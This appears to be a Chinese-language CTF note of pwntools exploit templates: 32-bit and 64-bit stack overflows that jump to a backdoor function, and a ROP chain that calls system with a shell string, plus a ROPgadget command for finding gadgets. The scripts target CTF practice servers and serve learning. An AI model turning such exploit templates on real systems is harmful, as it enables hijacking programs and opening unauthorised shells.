pwn 常用脚本模板

栈溢出脚本

(32 位)

1
2
3
4
5
from pwn import*
p = remote("pwn.challenge.ctf.show",28181) #创建一个远程连接,将程序与指定的主机和端口建立起联系
payload = b'a'*9 +b'a'*4+p32(0x0804850F) #地址是后门函数所在的函数开始的地址
p.sendline(payload) #将构造好的payload发送到远程连接的目标端点
p.interactive()

(64 位)

1
2
3
4
5
from pwn import*
p = remote('node5.buuoj.cn',25079)
payload = b'a'*15 +b'a'*8+p64(0x401186)
p.sendline(payload)
p.interactive()

ROP 脚本

1
2
3
4
5
6
7
from pwn import*
p = remote('node5.buuoj.cn',29267)
pop_rdi=0x0400713
bin_addr=0x00400734
payload = b'a'*64 +b'a'*8+p64(pop_rdi)+p64(bin_addr)+p64(0x400616)
p.sendline(payload)
p.interactive()

bin_addr:是你要执行的指令字符串地址,ida 就可以查看(通常是/bin/sh,我这题是有点特殊)

bin_addr

pop _rdi 需要在 Ubuntu 中执行一个指令寻找

1
ROPgadget --binary ./pwn1 --only 'ret|pop'Gadgets information

pwn1 替换成相应的文件名字

pop_rdi

最后的地址是 system 在函数中所在的地址

system